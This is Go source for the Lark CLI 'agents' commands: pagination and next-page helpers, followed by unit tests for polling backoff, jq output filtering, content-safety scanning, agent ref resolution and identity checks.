if task == nil || !task.IsTerminal {
return nil
}
switch task.State {
case iagents.StateFailed, iagents.StateRejected, iagents.StateCanceled:
return output.ErrBare(1)
default:
return nil
}
}
// listMeta builds the list-class meta: count for a non-empty list, nil (no
// meta at all) for an empty one. Count is omitempty at the shared envelope
// level, so an empty list would otherwise degrade to the ambiguous "meta": {}
// third shape; absent-with-documented-rule beats an empty object. (Emitting an
// explicit "count": 0 would need the shared Meta.Count to become a pointer —
// a repo-wide change deliberately out of this package's blast radius.)
func listMeta(n int) *output.Meta {
if n == 0 {
return nil
}
return &output.Meta{Count: n}
}
// Pagination flag defaults / bounds, shared by the three paginated list leaves
// (task list, context list, list <scheme>).
const (
defaultPageSize = 20
minPageSize = 1
maxPageSize = 100
)
// addPageFlags registers the shared --page-size / --page-token flags on a
// paginated list leaf. Size defaults to defaultPageSize (a bare list returns the
// first page); an empty token asks for the first page.
func addPageFlags(cmd *cobra.Command, pageSize *int, pageToken *string) {
cmd.Flags().IntVar(pageSize, "page-size", defaultPageSize, "每页条数1-100")
cmd.Flags().StringVar(pageToken, "page-token", "", "上一页返回的 page_token留空取第一页")
}
// validatePageSize enforces the [minPageSize,maxPageSize] range as a client-side
// invalid_argument validation error (exit 2) before any provider is built, so a
// nonsense size never reaches the network and holds under a nil Factory.
func validatePageSize(n int) error {
if n < minPageSize || n > maxPageSize {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"--page-size 须在 %d-%d 之间,收到 %d", minPageSize, maxPageSize, n).
WithParam("--page-size").
WithHint("改用 %d-%d 之间的每页条数重发", minPageSize, maxPageSize)
}
return nil
}
// listMetaPage builds the page-aware list meta: count (when >0), has_more,
// page_token (the next-page cursor), and the next-page action(s). It preserves
// listMeta's "no empty {}" rule — nil is returned ONLY when the page is empty AND
// there is no next page AND there is no next action, so an otherwise-absent meta
// never degrades to the ambiguous "meta": {} shape.
func listMetaPage(count int, info iagents.PageInfo, next []output.NextAction) *output.Meta {
if count == 0 && !info.HasMore && len(next) == 0 {
return nil
}
return &output.Meta{
Count: count, // omitempty drops 0
HasMore: info.HasMore,
PageToken: info.NextToken,
Next: next,
}
}
// carryAsIntoNext mirrors emitTask's identity-carry rule for the paginated list
// leaves (which build their own next-actions instead of going through emitTask):
// only when the caller EXPLICITLY passed --as does the suggested next-page
// command carry the resolved identity, so an explicit non-default identity is not
// silently dropped on verbatim replay while an implicit (default/auto) identity
// stays unpinned. No-op on a nil cmd or an unchanged --as.
func carryAsIntoNext(cmd *cobra.Command, f *cmdutil.Factory, next []output.NextAction) {
if cmd == nil || !cmd.Flags().Changed("as") {
return
}
id := string(f.ResolvedIdentity)
if id == "" {
return
}
for i := range next {
if strings.HasPrefix(next[i].Command, "lark-cli agents ") {
next[i].Command += " --as " + id
}
}
}
// nextPageAction builds the single "下一页" next-action for a paginated list when
// a next page exists. base is the fully-formed command up to (but not including)
// the pagination flags, e.g. "lark-cli agents task list example:echo"; the caller
// is responsible for whitelisting the ref / scheme / context-id interpolated into
// base. The cursor is server-controlled and interpolated verbatim into a command
// the AI runs, so it must pass the safeNextID whitelist first — a failing cursor
// drops the command (the cursor still rides meta.page_token as data, so the caller
// can page manually). Returns nil when there is no next page.
func nextPageAction(base string, size int, info iagents.PageInfo) []output.NextAction {
if !info.HasMore || info.NextToken == "" || !safeNextID(info.NextToken) {
return nil
}
return []output.NextAction{{
Label: "下一页",
Command: fmt.Sprintf("%s --page-size %d --page-token %s", base, size, info.NextToken),
}}
}

792
cmd/agents/common_test.go Normal file
View File

@@ -0,0 +1,792 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"bytes"
"context"
"encoding/json"
"errors"
"io"
"strings"
"testing"
"time"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
extcs "github.com/larksuite/cli/extension/contentsafety"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// TestCapabilityError_UnsafeRefDegradesHint pins the same whitelist on the
// capability-gate hint: an unsafe ref degrades the hint to plain guidance.
func TestCapabilityError_UnsafeRefDegradesHint(t *testing.T) {
err := capabilityError("example:agt x", "task cancel", iagents.CapTaskCancel)
p, ok := errs.ProblemOf(err)
if !ok || p.Hint == "" {
t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
}
if strings.Contains(p.Hint, "example:agt x") {
t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
}
}
// TestCapabilityError pins the unsupported_capability contract.
func TestCapabilityError(t *testing.T) {
err := capabilityError("example:agt_xxx", "task cancel", iagents.CapTaskCancel)
if err == nil {
t.Fatal("should return an error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
}
}
// TestSemanticExitError maps terminal task states to the wait/watch exit code.
func TestSemanticExitError(t *testing.T) {
cases := []struct {
state iagents.TaskState
wantExit int
}{
{iagents.StateCompleted, output.ExitOK},
{iagents.StateFailed, 1},
{iagents.StateRejected, 1},
{iagents.StateCanceled, 1},
{iagents.StateInputRequired, output.ExitOK}, // non-terminal, not treated as failure
{iagents.StateWorking, output.ExitOK},
}
for _, c := range cases {
task := &iagents.AgentTask{State: c.state, IsTerminal: c.state.IsTerminal()}
err := semanticExitError(task)
if got := output.ExitCodeOf(err); got != c.wantExit {
t.Errorf("state=%s exit expected %d got %d (err=%v)", c.state, c.wantExit, got, err)
}
}
// nil task should not panic and is treated as success
if err := semanticExitError(nil); err != nil {
t.Errorf("nil task should return nil, got %v", err)
}
}
// fakePollProvider drives pollToStop through a scripted state sequence. getTask
// is the closure pollToStop takes (spec.GetTask bound to a runtime in
// production); calls/err stay observable on the struct after the poll.
type fakePollProvider struct {
states []iagents.TaskState
calls int
err error
}
func (f *fakePollProvider) getTask(ctx context.Context, taskID string) (*iagents.AgentTask, error) {
if f.err != nil {
return nil, f.err
}
i := f.calls
if i >= len(f.states) {
i = len(f.states) - 1
}
f.calls++
s := f.states[i]
return &iagents.AgentTask{TaskID: taskID, State: s, IsTerminal: s.IsTerminal()}, nil
}
// TestPollToStop_ReachesTerminal stops once a terminal state is observed.
func TestPollToStop_ReachesTerminal(t *testing.T) {
restore := swapSleep()
defer restore()
p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking, iagents.StateWorking, iagents.StateCompleted}}
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
if err != nil {
t.Fatalf("should not error: %v", err)
}
if task == nil || task.State != iagents.StateCompleted {
t.Fatalf("should stop at completed, got %+v", task)
}
if p.calls < 3 {
t.Fatalf("should poll at least 3 times, got %d", p.calls)
}
}
// TestPollToStop_StopsOnInputRequired treats input_required as a stop point.
func TestPollToStop_StopsOnInputRequired(t *testing.T) {
restore := swapSleep()
defer restore()
p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking, iagents.StateInputRequired}}
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
if err != nil {
t.Fatalf("should not error: %v", err)
}
if task.State != iagents.StateInputRequired {
t.Fatalf("should stop at input_required, got %s", task.State)
}
}
// TestPollToStop_ContextTimeoutNotFailure confirms that timeout returns the
// current task with a nil error (exit 0), not a failure.
func TestPollToStop_ContextTimeoutNotFailure(t *testing.T) {
restore := swapSleep()
defer restore()
ctx, cancel := context.WithCancel(context.Background())
cancel() // expire immediately
p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking}}
task, err := pollToStop(ctx, p.getTask, "chat_1")
if err != nil {
t.Fatalf("timeout should not be treated as failure: %v", err)
}
if task == nil || task.State != iagents.StateWorking {
t.Fatalf("timeout should return the current task, got %+v", task)
}
}
// TestPollToStop_GetTaskError surfaces a provider error.
func TestPollToStop_GetTaskError(t *testing.T) {
restore := swapSleep()
defer restore()
p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking}, err: errors.New("boom")}
if _, err := pollToStop(context.Background(), p.getTask, "chat_1"); err == nil {
t.Fatal("a GetTask error should propagate")
}
}
// swapSleep replaces the package sleep with a no-op for fast tests.
func swapSleep() func() {
orig := sleep
sleep = func(context.Context, time.Duration) bool { return true }
return func() { sleep = orig }
}
// swapSleepCapture replaces the package sleep with a no-op that records every
// backoff duration it was asked to wait, so tests can assert the exponential /
// clamp schedule. It always returns true (full duration elapsed).
func swapSleepCapture(delays *[]time.Duration) func() {
orig := sleep
sleep = func(_ context.Context, d time.Duration) bool {
*delays = append(*delays, d)
return true
}
return func() { sleep = orig }
}
// swapSleepFalseAt replaces the package sleep with a no-op that returns false
// (as if ctx were canceled during backoff) on the falseCall-th invocation
// (1-indexed) and true otherwise. Lets tests exercise the sleep-returns-false
// branch in isolation without racing a real ctx timeout.
func swapSleepFalseAt(falseCall int) func() {
orig := sleep
n := 0
sleep = func(context.Context, time.Duration) bool {
n++
return n != falseCall
}
return func() { sleep = orig }
}
// TestPollToStop_ClampsDelayToMax drives >=4 backoff rounds so the exponential
// delay overshoots the 5s cap and the clamp branch (line 179) executes. The
// captured schedule must never exceed maxDelay and must actually reach it.
func TestPollToStop_ClampsDelayToMax(t *testing.T) {
var delays []time.Duration
restore := swapSleepCapture(&delays)
defer restore()
// 5 Working states then Completed: forces backoff 1s,2s,4s,5s(clamped),5s...
p := &fakePollProvider{states: []iagents.TaskState{
iagents.StateWorking, iagents.StateWorking, iagents.StateWorking,
iagents.StateWorking, iagents.StateWorking, iagents.StateCompleted,
}}
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
if err != nil {
t.Fatalf("should not error: %v", err)
}
if task == nil || task.State != iagents.StateCompleted {
t.Fatalf("should stop at completed, got %+v", task)
}
want := []time.Duration{1 * time.Second, 2 * time.Second, 4 * time.Second, 5 * time.Second, 5 * time.Second}
if len(delays) != len(want) {
t.Fatalf("backoff count should be %d, got %d (%v)", len(want), len(delays), delays)
}
for i, d := range delays {
if d > 5*time.Second {
t.Errorf("backoff #%d=%v exceeds the 5s cap", i, d)
}
if d != want[i] {
t.Errorf("backoff #%d expected %v got %v", i, want[i], d)
}
}
}
// TestPollToStop_SleepCanceledDuringBackoff isolates the sleep-returns-false
// branch (lines 173-177): ctx.Err() is still nil when the loop reaches the
// sleep, but sleep reports the wait was cut short, so pollToStop returns the
// most recent task with a nil error (not a failure).
func TestPollToStop_SleepCanceledDuringBackoff(t *testing.T) {
restore := swapSleepFalseAt(1) // first backoff sleep is interrupted
defer restore()
p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking, iagents.StateCompleted}}
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
if err != nil {
t.Fatalf("an interrupted sleep should not be treated as failure: %v", err)
}
if task == nil || task.State != iagents.StateWorking {
t.Fatalf("should return the working task observed before interruption, got %+v", task)
}
if p.calls != 1 {
t.Fatalf("should not poll again after sleep interruption, expected 1 GetTask call got %d", p.calls)
}
}
// TestJqExpr covers both jqExpr branches: a command with a registered --jq flag
// returns its value; a command without the flag returns "".
func TestJqExpr(t *testing.T) {
withFlag := &cobra.Command{Use: "get"}
withFlag.Flags().String("jq", "", "")
if err := withFlag.Flags().Set("jq", ".state"); err != nil {
t.Fatal(err)
}
if got := jqExpr(withFlag); got != ".state" {
t.Errorf("with a --jq flag it should return its value, got %q", got)
}
noFlag := &cobra.Command{Use: "list"}
if got := jqExpr(noFlag); got != "" {
t.Errorf("without a --jq flag it should return empty, got %q", got)
}
}
// newEmitCmd builds a `lark-cli agents <name>` command whose CommandPath() is
// non-empty (required for content-safety scanning to engage) and optionally
// registers a --jq flag with the given value.
func newEmitCmd(name, jq string) *cobra.Command {
root := &cobra.Command{Use: "lark-cli"}
agentGroup := &cobra.Command{Use: "agents"}
leaf := &cobra.Command{Use: name}
root.AddCommand(agentGroup)
agentGroup.AddCommand(leaf)
if jq != "" {
leaf.Flags().String("jq", "", "")
_ = leaf.Flags().Set("jq", jq)
}
leaf.SetContext(context.Background())
return leaf
}
// emitFactory returns a Factory writing to fresh out/err buffers.
func emitFactory() (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffer) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{
IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut},
ResolvedIdentity: core.AsBot,
}
return f, out, errOut
}
// csProvider is a content-safety provider stub returning a fixed alert.
type csProvider struct{ alert *extcs.Alert }
func (p *csProvider) Name() string { return "test" }
func (p *csProvider) Scan(context.Context, extcs.ScanRequest) (*extcs.Alert, error) {
return p.alert, nil
}
// TestEmitTask_PlainSuccess emits a task with no jq, no alert: the full envelope
// lands on stdout with ok=true and the identity.
func TestEmitTask_PlainSuccess(t *testing.T) {
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
next := []output.NextAction{{Label: "poll", Command: "lark-cli agents task get example:x chat_1"}}
if err := emitTask(f, cmd, task, next, "json"); err != nil {
t.Fatalf("emit should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
}
if !env.OK || env.Identity != string(core.AsBot) {
t.Errorf("ok/identity mismatch: %+v", env)
}
if !strings.Contains(out.String(), `"next"`) || !strings.Contains(out.String(), "poll") {
t.Errorf("meta.next should appear in the output: %s", out.String())
}
}
// TestEmitTask_NoNextOmitsMeta pins the omitempty branch (common.go line 113):
// when next is nil or an empty (non-nil) slice, emitTask must leave env.Meta nil
// so "meta" is absent from the serialized envelope. Covers both len(next)==0
// inputs the branch can receive.
func TestEmitTask_NoNextOmitsMeta(t *testing.T) {
for _, tc := range []struct {
name string
next []output.NextAction
}{
{"nil next", nil},
{"empty non-nil next", []output.NextAction{}},
} {
t.Run(tc.name, func(t *testing.T) {
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
if err := emitTask(f, cmd, task, tc.next, "json"); err != nil {
t.Fatalf("emit should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
}
if env.Meta != nil {
t.Errorf("Meta should be nil when len(next)==0, got %+v", env.Meta)
}
if strings.Contains(out.String(), `"meta"`) {
t.Errorf("meta should be omitted by omitempty when next is empty: %s", out.String())
}
})
}
}
// TestEmitTask_JqFilter routes stdout through a valid jq expression.
func TestEmitTask_JqFilter(t *testing.T) {
f, out, _ := emitFactory()
cmd := newEmitCmd("task", ".data.state")
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
t.Fatalf("jq filtering should not error: %v", err)
}
if got := strings.TrimSpace(out.String()); got != "working" {
t.Errorf("jq .data.state should output working, got %q", got)
}
}
// TestEmitTask_JqFilterError surfaces a malformed jq expression as an error.
func TestEmitTask_JqFilterError(t *testing.T) {
f, _, _ := emitFactory()
cmd := newEmitCmd("task", "{") // unbalanced → gojq.Parse fails
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
if err := emitTask(f, cmd, task, nil, "json"); err == nil {
t.Fatal("a malformed jq expression should error")
}
}
// TestEmitTask_ContentSafetyAlertWarn attaches a warn-mode alert to the envelope
// without blocking output.
func TestEmitTask_ContentSafetyAlertWarn(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
t.Fatalf("warn mode should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("unmarshal: %v (%s)", err, out.String())
}
if env.ContentSafetyAlert == nil {
t.Error("warn mode should attach the alert to the envelope")
}
}
// TestEmitTask_ContentSafetyAlertWarnWithJq exercises the WriteAlertWarning +
// JqFilter branch: an alert plus a --jq expression writes a stderr warning and
// still filters stdout.
func TestEmitTask_ContentSafetyAlertWarnWithJq(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
f, out, errOut := emitFactory()
cmd := newEmitCmd("task", ".data.state")
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
t.Fatalf("warn+jq should not error: %v", err)
}
if got := strings.TrimSpace(out.String()); got != "working" {
t.Errorf("jq output should be working, got %q", got)
}
if !strings.Contains(errOut.String(), "content safety alert") {
t.Errorf("stderr should contain a content-safety warning, got %q", errOut.String())
}
}
// TestEmitTask_ContentSafetyBlocked returns the block error and writes nothing
// to stdout.
func TestEmitTask_ContentSafetyBlocked(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
err := emitTask(f, cmd, task, nil, "json")
if err == nil {
t.Fatal("block mode should return BlockErr")
}
if !errs.IsContentSafety(err) {
t.Errorf("should be a content-safety error, got %T", err)
}
if out.Len() > 0 {
t.Errorf("block mode should not write to stdout, got %q", out.String())
}
}
// noPretty is a no-op pretty renderer for the scanAndEmitData helper tests,
// which exercise the json path only.
func noPretty(io.Writer) {}
// TestScanAndEmitData_PlainSuccess pins the shared list/context emit helper's
// happy path: no alert + json ⇒ the full envelope (ok + identity + data + meta)
// lands on stdout.
func TestScanAndEmitData_PlainSuccess(t *testing.T) {
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
data := map[string]interface{}{"tasks": []iagents.TaskSummary{{TaskID: "chat_1"}}}
if err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty); err != nil {
t.Fatalf("emit should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
}
if !env.OK || env.Identity != string(core.AsBot) {
t.Errorf("ok/identity mismatch: %+v", env)
}
if env.Meta == nil || env.Meta.Count != 1 {
t.Errorf("meta.count should be 1, got %+v", env.Meta)
}
}
// TestScanAndEmitData_ContentSafetyBlocked pins that the shared list/context
// emit helper now runs content-safety scanning (these payloads carry untrusted
// agent text): in block mode it returns the typed block error and writes
// nothing.
func TestScanAndEmitData_ContentSafetyBlocked(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
data := map[string]interface{}{"tasks": []iagents.TaskSummary{{TaskID: "chat_1", Summary: "leaked secret"}}}
err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty)
if err == nil {
t.Fatal("block mode should return BlockErr")
}
if !errs.IsContentSafety(err) {
t.Errorf("should be a content-safety error, got %T", err)
}
if out.Len() > 0 {
t.Errorf("block mode should not write to stdout, got %q", out.String())
}
}
// TestScanAndEmitData_ContentSafetyAlertWarn pins that a warn-mode alert is
// attached to the envelope without blocking output.
func TestScanAndEmitData_ContentSafetyAlertWarn(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
data := map[string]interface{}{"tasks": []iagents.TaskSummary{{TaskID: "chat_1"}}}
if err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty); err != nil {
t.Fatalf("warn mode should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("unmarshal: %v (%s)", err, out.String())
}
if env.ContentSafetyAlert == nil {
t.Error("warn mode should attach the alert to the envelope")
}
}
// TestTaskListContentSafetyBlocked pins the wiring at the task-list leaf: its
// summaries carry untrusted agent text, so a block-mode content-safety hit
// aborts the emit with the typed block error and writes nothing (task list used
// to PrintJson directly and bypass scanning).
func TestTaskListContentSafetyBlocked(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
opts, _ := taskTestOpts(t, "list")
setScripted(t, scriptedHooks{listTasks: func(string, iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error) {
return []iagents.TaskSummary{{TaskID: "chat_1", State: iagents.StateCompleted, Summary: "untrusted"}}, iagents.PageInfo{}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
err := agentTaskListRun(opts)
if err == nil || !errs.IsContentSafety(err) {
t.Fatalf("task list should block on a content-safety hit, got %T: %v", err, err)
}
if len(out.Bytes()) > 0 {
t.Errorf("block mode should not write to stdout, got %q", out.Bytes())
}
}
// TestContextGetContentSafetyBlocked pins the same wiring at context get, whose
// active_task.Summary is untrusted agent text.
func TestContextGetContentSafetyBlocked(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
return &iagents.ContextDetail{
ContextID: ctxID, TaskCount: iagents.Int(1),
ActiveTask: &iagents.TaskSummary{TaskID: "chat_1", State: iagents.StateCompleted, Summary: "untrusted"},
}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
err := agentContextGetRun(opts)
if err == nil || !errs.IsContentSafety(err) {
t.Fatalf("context get should block on a content-safety hit, got %T: %v", err, err)
}
if len(out.Bytes()) > 0 {
t.Errorf("block mode should not write to stdout, got %q", out.Bytes())
}
}
// resolveCmd builds an `agents card` command carrying an `--as` flag. When
// asChanged is true the flag is marked as explicitly set, so ResolveAs honors
// the passed identity verbatim (needed to exercise the identity-check branch).
func resolveCmd(t *testing.T, asChanged bool, asVal string) *cobra.Command {
t.Helper()
root := &cobra.Command{Use: "lark-cli"}
group := &cobra.Command{Use: "agents"}
leaf := &cobra.Command{Use: "card"}
root.AddCommand(group)
group.AddCommand(leaf)
leaf.Flags().String("as", "", "identity")
if asChanged {
if err := leaf.Flags().Set("as", asVal); err != nil {
t.Fatal(err)
}
}
leaf.SetContext(context.Background())
return leaf
}
// TestResolveSpec_Success resolves a valid example ref under an explicit bot
// identity and returns a non-nil spec offline (no client).
func TestResolveSpec_Success(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "bot")
prov, spec, agentID, id, err := resolveSpec(f, cmd, "example:echo", "bot")
if err != nil {
t.Fatalf("a valid ref + bot should succeed: %v", err)
}
if spec == nil || spec.Send.Handler == nil {
t.Fatal("should return a non-nil spec with core hooks")
}
if prov.Scheme != "example" || agentID != "echo" {
t.Errorf("provider/agent id: scheme=%q agentID=%q", prov.Scheme, agentID)
}
if id != core.AsBot {
t.Errorf("identity should be bot, got %s", id)
}
}
// TestResolveSpec_MalformedRef wraps a ParseRef failure into an
// invalid_argument validation error (exit 2).
func TestResolveSpec_MalformedRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "bot")
_, _, _, _, err := resolveSpec(f, cmd, "no-colon", "bot")
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
p, _ := errs.ProblemOf(err)
if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
// A malformed ref teaches the <scheme>:<agent_id> shape.
if !strings.Contains(p.Hint, "<scheme>:<agent_id>") {
t.Errorf("malformed-ref hint should teach the ref shape, got %q", p.Hint)
}
}
// TestResolveSpec_UnknownScheme rejects an unregistered provider scheme.
func TestResolveSpec_UnknownScheme(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "bot")
_, _, _, _, err := resolveSpec(f, cmd, "nope:agt_x", "bot")
if err == nil {
t.Fatal("an unknown scheme should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
p, _ := errs.ProblemOf(err)
if p == nil || !strings.Contains(p.Hint, "agents list") {
t.Errorf("unknown-scheme hint should point to `agents list`, got %+v", p)
}
}
// TestResolveSpec_UnknownCatalogID rejects an unknown catalog entry id — the
// framework validates it offline (a change from the old construct-only path).
func TestResolveSpec_UnknownCatalogID(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "bot")
_, spec, _, _, err := resolveSpec(f, cmd, "example:nope", "bot")
if err == nil || spec != nil {
t.Fatal("an unknown catalog id should error with a nil spec")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestResolveSpec_IdentityRejected fails the user|bot whitelist when an
// unsupported --as is explicitly requested; no spec is returned.
func TestResolveSpec_IdentityRejected(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "admin")
_, spec, _, _, err := resolveSpec(f, cmd, "example:echo", "admin")
if err == nil {
t.Fatal("an unsupported identity should error")
}
if spec != nil {
t.Error("should not return a spec when identity validation fails")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestRuntimeFor_APIClientError surfaces a NewAPIClient failure (Config error).
func TestRuntimeFor_APIClientError(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
f.Config = func() (*core.CliConfig, error) { return nil, errors.New("config boom") }
if _, err := runtimeFor(f, core.AsBot, "echo", nil); err == nil {
t.Fatal("a Config error should propagate")
}
}
// unconfiguredFactory returns a Factory whose Config() errors (simulating a
// fresh install that hasn't run `config init`), so NewAPIClient fails. Used to
// pin that the API-free paths never reach the config gate.
func unconfiguredFactory(t *testing.T) *cmdutil.Factory {
t.Helper()
f, _, _, _ := cmdutil.TestFactory(t, nil)
f.Config = func() (*core.CliConfig, error) { return nil, errors.New("not configured") }
return f
}
// TestResolveSpec_WorksWhenUnconfigured guards the acceptance regression: offline
// resolution must NOT touch NewAPIClient, so it succeeds even when Config errors,
// while runtimeFor (the client path) still fails at the config gate.
func TestResolveSpec_WorksWhenUnconfigured(t *testing.T) {
f := unconfiguredFactory(t)
cmd := resolveCmd(t, true, "bot")
_, spec, _, id, err := resolveSpec(f, cmd, "example:echo", "bot")
if err != nil {
t.Fatalf("offline resolution should succeed when unconfigured: %v", err)
}
if spec == nil || id != core.AsBot {
t.Fatalf("should return spec + bot identity, got spec=%v id=%s", spec, id)
}
if _, err := runtimeFor(f, id, "echo", nil); err == nil {
t.Fatal("the client path (runtimeFor) should error when unconfigured (config gate)")
}
}
// TestResolveSpec_ValidatesRefBeforeConfig pins that a malformed ref / unknown
// scheme is a validation error (exit 2) even when unconfigured — it must not be
// masked by not_configured.
func TestResolveSpec_ValidatesRefBeforeConfig(t *testing.T) {
f := unconfiguredFactory(t)
cmd := resolveCmd(t, true, "bot")
for _, ref := range []string{"no-colon", "nope:agt_x"} {
_, _, _, _, err := resolveSpec(f, cmd, ref, "bot")
if err == nil {
t.Fatalf("ref %q should also report a validation error when unconfigured", ref)
}
if !errs.IsValidation(err) {
t.Fatalf("ref %q should be a validation error, got %T", ref, err)
}
}
}
// TestAgentCardRun_WorksUnconfigured guards the acceptance regression: `agent
// card` is statically synthesized and must succeed unconfigured, never hitting
// the config gate.
func TestAgentCardRun_WorksUnconfigured(t *testing.T) {
f := unconfiguredFactory(t)
cmd := resolveCmd(t, true, "bot")
if err := agentCardRun(&cardOptions{Factory: f, Cmd: cmd, Ref: "example:echo", As: "bot", Format: "json"}); err != nil {
t.Fatalf("agents card should succeed when unconfigured (API-free): %v", err)
}
}
// TestAgentSendRun_DryRunWorksUnconfigured guards the acceptance regression:
// `agents send --dry-run` is a client-side preview and must succeed
